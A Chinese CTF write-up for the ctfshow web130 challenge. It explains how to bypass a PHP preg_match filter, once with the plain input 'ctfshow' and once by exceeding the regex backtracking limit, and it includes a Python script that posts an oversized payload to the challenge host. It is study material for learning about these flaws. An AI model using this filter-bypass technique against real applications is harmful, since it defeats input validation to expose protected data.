web130笔记(preg_match函数特性)
very very very(省略25万个very)ctfshow
直接绕过正则表达式: f=ctfshow
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-13 05:19:40 */ error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f']; if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); } echo $flag; }
额,这题直接就ctfshow就过了,因为正则模式匹配不到,然后stripos()搜索字符串返回的值是0(因为ctfshow第一次出现的位置就是0下标)也跳过了if里的语句直接输出flag,所以payload为
post:
f=ctfshow
f不能是xxxctfshow(反正前⾯有东⻄)
然后FALSE那⾥因为是强⽐较,所以ctfshow就算在开头值也是0⽽不是FALSE,⽽如果是弱⽐较的会就会进⼊die('bye!!');
但还是讲一下这题本来的考点,提示very应该考的是正则的最大回溯 PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
#-- coding:UTF-8 -- # Author:dota_st # Date:2021/2/27 17:52 # blog: www.wlhhlc.top import requests url = "http://48390078-c20a-4f56-8b4e-148df47485cb.chall.ctf.show:8080/" data = { 'f': 'mm'*170000+'ctfshow' } res = requests.post(url=url,data=data) print(res.text)
浙公网安备 33010602011771号